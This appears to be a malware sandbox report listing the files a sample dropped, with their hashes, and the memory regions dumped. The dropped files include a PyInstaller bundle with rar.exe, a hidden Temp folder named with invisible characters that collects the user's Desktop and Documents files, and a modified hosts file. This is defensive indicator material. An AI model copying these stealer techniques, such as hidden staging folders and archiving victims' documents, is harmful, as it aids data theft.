C:\Users\Admin\AppData\Local\Temp\_MEI23282\python310.dll

Filesize
1.4MB

MD5
01988415e8fb076dcb4a0d0639b680d9

SHA1
91b40cffcfc892924ed59dc0664c527ff9d3f69c

SHA256
b101db1ddd659b8d8ffd8b26422fde848d5b7846e0c236f051fadb9412de6e24

SHA512
eab0c3ca4578751a671beb3da650b5e971a79798deb77472e42f43aa2bea7434ad5228a8fddbfff051ce05054dbf3422d418f42c80bc3640e0e4f43a0cf2ebbe

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI23282\rar.exe

Filesize
615KB

MD5
9c223575ae5b9544bc3d69ac6364f75e

SHA1
8a1cb5ee02c742e937febc57609ac312247ba386

SHA256
90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213

SHA512
57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI23282\rarreg.key

Filesize
456B

MD5
4531984cad7dacf24c086830068c4abe

SHA1
fa7c8c46677af01a83cf652ef30ba39b2aae14c3

SHA256
58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211

SHA512
00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI23282\select.pyd

Filesize
24KB

MD5
c9ff47314e1d3a71d0f6169a6ed919f4

SHA1
a90e8d82205c14660deca06b6891dd48075bc993

SHA256
ad50f036e4a00f5ed30c10c65acd9a137d339d0390ff0e1b7643d2e25162f727

SHA512
601a94ddeabe54c73eb42f7e185abeb60c345b960e664b1be1634ef90889707fd9c0973be8e3514813c3c06cc96287bb715399b027da1eb3d57243a514b4b395

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI23282\sqlite3.dll

Filesize
606KB

MD5
fe5632ab5e7e35564059bd81ff07722f

SHA1
b45a9282d1e33585b07d92457a73b5907538db83

SHA256
4ae89a7a36c9fed607d38069635acd1801c000cac57558951175db33d3f2eeac

SHA512
f79d00000ef7018bafd69ae299ae1a06d36aa2498f64dcb33aa4eed66fd7e444ea524994c0469f3714431e6f7e5dbdaebd31bce253bebf3ecbf693a85dd31133

Download Submit
C:\Users\Admin\AppData\Local\Temp\_MEI23282\unicodedata.pyd

Filesize
288KB

MD5
fa458852aa48b6d397ae5e4dcb624d07

SHA1
5b224fc953062ec4b5d4965c9b4b571c12b7f434

SHA256
4472adfe11946f3bca0097eb3ca25f18101d97c152a82c9cb188b88f67b9dc4a

SHA512
879784fa9215055937d28ddd8408c5d14a97b3699139a85405bc11d6eb56f42dbce85bf76b911640887895dc405f43d51fdcf671107a5ea1aae1f1669ceab1e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_howkf1yx.n05.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏‏ \Common Files\Desktop\BackupRename.pub

Filesize
363KB

MD5
6dcffe7437a3c63527b96f54abc7897b

SHA1
efc606b3e5f2b9697336eb2c62498bd75b3857b1

SHA256
1e045672046452afd33d1605c92bb68444222aaaab337fcc4eaca71db2c73cc8

SHA512
2df3a56c65a7ac4430b0323d9ff0f69d1636db364d758a3e03ebd4ec01a9adced0ed3eab03911e2159fff6fe60cc7fc651a8edaf4329b752c20f6c4d9792c29b

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏‏ \Common Files\Desktop\GrantComplete.docx

Filesize
16KB

MD5
e9f4622b024187c251291fd3baa11f32

SHA1
3a2a658a1d4a57d7cd9ff1a00c927311e476599b

SHA256
19e5a2d192032010d08a2b93c5012380b7e15305ee252ea4d615b929a8f3bbba

SHA512
1799398eb0754d6529ce9f0140886a9d9bb93a40a4ae68491d002d13c91a96b136a9813c6ca584087c497a265bc09bd4da495f952241e36f59a4c70c232504c8

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏‏ \Common Files\Desktop\ImportReceive.docx

Filesize
14KB

MD5
1bcf3dad8ed83ffc1f392018e0b19ad7

SHA1
fcc2441f707089b9859fe8a33ada42a7166182ae

SHA256
6e400d51e9691e9bc5ce3f8c9d284a4cb9925c71911dcd22800a9dcab2f57cb9

SHA512
38264cd6ffefa9bdcded4e7f3060a8fadee0757754298c315ff3854c6c1c47c9b46fd09f56fdd54d349075c0fd554d4591cec299f3463b0d9205f2752fa3333c

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏‏ \Common Files\Documents\CopySet.docx

Filesize
13KB

MD5
0525145dbdb68ccd9ba973b1571659ca

SHA1
547d7261102abb0cd366fe3096f75dca31c5ef27

SHA256
a2482b4466fa663ff459c7d6bf8fee249f11f5adf7ea0df38e9e5d052ad9c317

SHA512
f282b057260b612802fddcf48c604be7840e6c6ff9821608e1c2ecc43ed942ef8d12f4834fcbfde08544c75d38a1adf6f5218f995b0d2f100ef647c40cceba79

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏‏ \Common Files\Documents\ExportRedo.docx

Filesize
240KB

MD5
2d7c8906e614a3a29b8f0b497ad825a2

SHA1
4061cff143c1afb56e89ee66bdcc024927ed6c6a

SHA256
7abac9fd0f71b10aeb32d2b609303f78153c14fb077e0e4c2d53f5a73cff2517

SHA512
7a71056b3163117d3106843831911ae35e0251f7d688ca82acb1ed77990ab7b65b49e65cb05e5517d1bda2a97ef6ae8fe3bf05efc0af93b7c9aa2fc0640e868e

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏‏ \Common Files\Documents\FormatRemove.xlsx

Filesize
13KB

MD5
78699b7bb35a8cc8a93065d5f0fb02e7

SHA1
83cbea11d00f36d811df8ebe3d6833a1078be89c

SHA256
9938bf262bd0bc20768054ebf7c183a709b64d57bcb0841a465ffe4a8d11069f

SHA512
a649ecf21ba25f6b71095921d5f0d53f68117a9bea63ea1322ec4de080568ed34cf5c1134d0747643d28ee6d544320e8c6598f32e3089a790f749ceb14c24450

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏‏ \Common Files\Documents\JoinRedo.doc

Filesize
303KB

MD5
ed8d4d0c308442efaca52e3cfc80d1be

SHA1
2616d5133708721468e7448af20c0b1147f9cd34

SHA256
e168706aaa4a376cdc16f71838f749840ca916a4f71455cdb926a9ae694311da

SHA512
814696e4e1a6a51fd54830ae2a9ef13fead88c7339ccb1ac8690960eec9c18ca2d7da68112cd586584643a5faed0b0a0c685ee50cd791bca26dc892661edf993

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏‏ \Common Files\Documents\LockRestart.docx

Filesize
391KB

MD5
f8084c6d40111e93622b156311083d72

SHA1
361740371ef9fb8f40d86a671143df45e15d697d

SHA256
74749a1e2cad361c06dad6e3d913dd8e0a17816ea1e8ce00f9d18dc71707922d

SHA512
2d532ae6fbff9e7e181a1d0c88f2aeb817639c1e3d16833cad38eee1ed6947da674c0bad0a12ece4904990c79ebb7b04c33c671898e71425b262cf33bbef3e25

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏‏ \Common Files\Documents\MergeSplit.pdf

Filesize
530KB

MD5
229af92f2d32f7d8d930299b09bd0b20

SHA1
f8c6d3f6ff9e2c5b4f38d2da35cce6be8c73bcab

SHA256
6b05dfdf4c6045fe59eb41b63b9a2c3b3e1698844de85eb0eb1b674f5bc5830e

SHA512
8bd60e279ad4ea892422ad058742a848d1429541f5c475866c83caa8f6892ef2999fef12a2c9cc6f18ef4a13e3f1f87047636c3e8d25b8168569766482bda6b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏‏ \Common Files\Documents\OpenSwitch.txt

Filesize
543KB

MD5
03b1b5bde0a42a310b99226989d878d9

SHA1
685a6f74fcadc4046beff036f47e8f58b8a88e10

SHA256
0cf300b5b2a4a3286e42f7196858a3c6121c1928eaf89873efb703dbf8bdd7ab

SHA512
e7f43a86cfdf807371fde3c5524b64ebd09650a9d0b4e743f3b9c2d7cc482b02293c63f62fd1936af506b4ba0457b428e6669d920bfc7839e0fe720e6a2c1353

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏‏ \Common Files\Documents\PopInstall.docx

Filesize
14KB

MD5
c09a74e60bd225c5a977bdebb52675da

SHA1
442cc09e37f168b39a0c8be9975d9e7d1fb61c7e

SHA256
02a21bd35c1e299271e283e9c1bee780a6d34c471e12c5d515da5f89c7242929

SHA512
6f5f3bcb6c8482cb667f0d9e10fbd3b859486a36db7d7622a00a8725f169f8880fa0dc60dbfe857fc7cfbd5cd55aa1eb95439d40607a648883e2687824aa79d7

Download Submit
C:\Users\Admin\AppData\Local\Temp\ ‏‏ \Common Files\Documents\RestartConvert.xlsx

Filesize
429KB

MD5
4f64dc24f03d34e3caad993a2fb23e00

SHA1
f534f351a5e246d277bcdfd5d499c9b114a95472

SHA256
a5d2c88b01acfa28e85afbe7964a839e398b92f29d3dd64666adf08c84acb719

SHA512
6b6b2f0c8d2f3a7eaf60ace8130f70def2bdda6d0c34bf8e1abfe972418421e03ce4eef9da20fd4268f5c2ce1a3433c36dd2a5a14562e161e5bb8599d050c359

Download Submit
C:\Windows\System32\drivers\etc\hosts

Filesize
2KB

MD5
f99e42cdd8b2f9f1a3c062fe9cf6e131

SHA1
e32bdcab8da0e3cdafb6e3876763cee002ab7307

SHA256
a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0

SHA512
c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\4eu0hbbb\4eu0hbbb.0.cs

Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\4eu0hbbb\4eu0hbbb.cmdline

Filesize
607B

MD5
b383ef2e9af67abbfedf4d3fb5ab385f

SHA1
30bce878841f3764a6eb2842828232d9ca4b7f48

SHA256
d81476898236a6f5268fa3df6d47a3af1736b988b03327deb5c64f39928fe0d5

SHA512
dc18a02bc2d83fe3941618cbec7540716ce7f859eaa8d3499240771f9b6e101b1f74a79be025ae416d128d9a762b0718b0e1b82a4415c51849615e0035ada1a3

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\4eu0hbbb\CSCDF660C409EF84F869149E373D1A9FE6E.TMP

Filesize
652B

MD5
6a309c91dbb9f438272235679faa1b0b

SHA1
004576a7d39b4bcd65e7915b54b67842cdd24f94

SHA256
33d392dfaf17954371d55531bb9b98151c386233e9852afc8245036a29d8795a

SHA512
1d8d1e8a6504d18369f4a26029c876cf8a95f90d4ae916d5a283b7805b2d4cb0371397bccc7427386377d2f8e993e7ccc4bf14db59704e374956bdc5fed76f0a

Download Submit
memory/32-56-0x00007FF914E20000-0x00007FF914E39000-memory.dmp

Filesize
100KB

Download
memory/32-359-0x00007FF901A70000-0x00007FF901DE5000-memory.dmp

Filesize
3.5MB

Download
memory/32-105-0x00007FF910DD0000-0x00007FF910DEF000-memory.dmp

Filesize
124KB

Download
memory/32-173-0x00007FF901DF0000-0x00007FF901F59000-memory.dmp

Filesize
1.4MB

Download
memory/32-334-0x00007FF901F60000-0x00007FF9023CE000-memory.dmp

Filesize
4.4MB

Download
memory/32-346-0x00007FF910B40000-0x00007FF910B54000-memory.dmp

Filesize
80KB

Download
memory/32-82-0x00007FF9017E0000-0x00007FF9018F8000-memory.dmp

Filesize
1.1MB

Download
memory/32-81-0x00007FF914E20000-0x00007FF914E39000-memory.dmp

Filesize
100KB

Download
memory/32-79-0x00007FF915260000-0x00007FF91526D000-memory.dmp

Filesize
52KB

Download
memory/32-347-0x00007FF915260000-0x00007FF91526D000-memory.dmp

Filesize
52KB

Download
memory/32-78-0x00007FF9106B0000-0x00007FF9106DD000-memory.dmp

Filesize
180KB

Download
memory/32-70-0x00007FF901F60000-0x00007FF9023CE000-memory.dmp

Filesize
4.4MB

Download
memory/32-72-0x00007FF901A70000-0x00007FF901DE5000-memory.dmp

Filesize
3.5MB

Download
memory/32-221-0x00007FF910DB0000-0x00007FF910DC9000-memory.dmp

Filesize
100KB

Download
memory/32-349-0x00007FF911860000-0x00007FF911884000-memory.dmp

Filesize
144KB

Download
memory/32-73-0x00000175F1C40000-0x00000175F1FB5000-memory.dmp

Filesize
3.5MB

Download
memory/32-350-0x00007FF917480000-0x00007FF91748F000-memory.dmp

Filesize
60KB

Download
memory/32-276-0x00007FF910D80000-0x00007FF910DAE000-memory.dmp

Filesize
184KB

Download
memory/32-76-0x00007FF910B40000-0x00007FF910B54000-memory.dmp

Filesize
80KB

Download
memory/32-74-0x00007FF911860000-0x00007FF911884000-memory.dmp

Filesize
144KB

Download
memory/32-71-0x00007FF910CC0000-0x00007FF910D78000-memory.dmp

Filesize
736KB

Download
memory/32-66-0x00007FF910D80000-0x00007FF910DAE000-memory.dmp

Filesize
184KB

Download
memory/32-64-0x00007FF917470000-0x00007FF91747D000-memory.dmp

Filesize
52KB

Download
memory/32-63-0x00007FF910DB0000-0x00007FF910DC9000-memory.dmp

Filesize
100KB

Download
memory/32-60-0x00007FF901DF0000-0x00007FF901F59000-memory.dmp

Filesize
1.4MB

Download
memory/32-58-0x00007FF910DD0000-0x00007FF910DEF000-memory.dmp

Filesize
124KB

Download
memory/32-54-0x00007FF9106B0000-0x00007FF9106DD000-memory.dmp

Filesize
180KB

Download
memory/32-48-0x00007FF917480000-0x00007FF91748F000-memory.dmp

Filesize
60KB

Download
memory/32-30-0x00007FF911860000-0x00007FF911884000-memory.dmp

Filesize
144KB

Download
memory/32-25-0x00007FF901F60000-0x00007FF9023CE000-memory.dmp

Filesize
4.4MB

Download
memory/32-291-0x00007FF910CC0000-0x00007FF910D78000-memory.dmp

Filesize
736KB

Download
memory/32-292-0x00007FF901A70000-0x00007FF901DE5000-memory.dmp

Filesize
3.5MB

Download
memory/32-294-0x00000175F1C40000-0x00000175F1FB5000-memory.dmp

Filesize
3.5MB

Download
memory/32-305-0x00007FF910B40000-0x00007FF910B54000-memory.dmp

Filesize
80KB

Download
memory/32-318-0x00007FF901F60000-0x00007FF9023CE000-memory.dmp

Filesize
4.4MB

Download
memory/32-317-0x00007FF65F3A0000-0x00007FF65F3C7000-memory.dmp

Filesize
156KB

Download
memory/32-351-0x00007FF9106B0000-0x00007FF9106DD000-memory.dmp

Filesize
180KB

Download
memory/32-324-0x00007FF901DF0000-0x00007FF901F59000-memory.dmp

Filesize
1.4MB

Download
memory/32-323-0x00007FF910DD0000-0x00007FF910DEF000-memory.dmp

Filesize
124KB

Download
memory/32-319-0x00007FF911860000-0x00007FF911884000-memory.dmp

Filesize
144KB

Download
memory/32-333-0x00007FF65F3A0000-0x00007FF65F3C7000-memory.dmp

Filesize
156KB

Download
memory/32-348-0x00007FF9017E0000-0x00007FF9018F8000-memory.dmp

Filesize
1.1MB

Download
memory/32-358-0x00007FF910CC0000-0x00007FF910D78000-memory.dmp

Filesize
736KB

Download
memory/32-352-0x00007FF914E20000-0x00007FF914E39000-memory.dmp

Filesize
100KB

Download
memory/32-357-0x00007FF910D80000-0x00007FF910DAE000-memory.dmp

Filesize
184KB

Download
memory/32-356-0x00007FF917470000-0x00007FF91747D000-memory.dmp

Filesize
52KB

Download
memory/32-355-0x00007FF910DB0000-0x00007FF910DC9000-memory.dmp

Filesize
100KB

Download
memory/32-354-0x00007FF901DF0000-0x00007FF901F59000-memory.dmp

Filesize
1.4MB

Download
memory/32-353-0x00007FF910DD0000-0x00007FF910DEF000-memory.dmp

Filesize
124KB

Download
memory/1124-262-0x00000207686F0000-0x000002076890D000-memory.dmp

Filesize
2.1MB

Download
memory/1808-274-0x000001E6B4310000-0x000001E6B452D000-memory.dmp

Filesize
2.1MB

Download
memory/2028-208-0x0000021C0D440000-0x0000021C0D448000-memory.dmp

Filesize
32KB

Download
memory/2328-316-0x00007FF65F3A0000-0x00007FF65F3C7000-memory.dmp

Filesize
156KB

Download
memory/2328-360-0x00007FF65F3A0000-0x00007FF65F3C7000-memory.dmp

Filesize
156KB

Download
memory/4464-111-0x000001F6B65D0000-0x000001F6B67ED000-memory.dmp

Filesize
2.1MB

Download
memory/4568-92-0x0000022FD23C0000-0x0000022FD23E2000-memory.dmp

Filesize
136KB

Download
memory/4568-104-0x0000022FD23F0000-0x0000022FD260D000-memory.dmp

Filesize
2.1MB

Download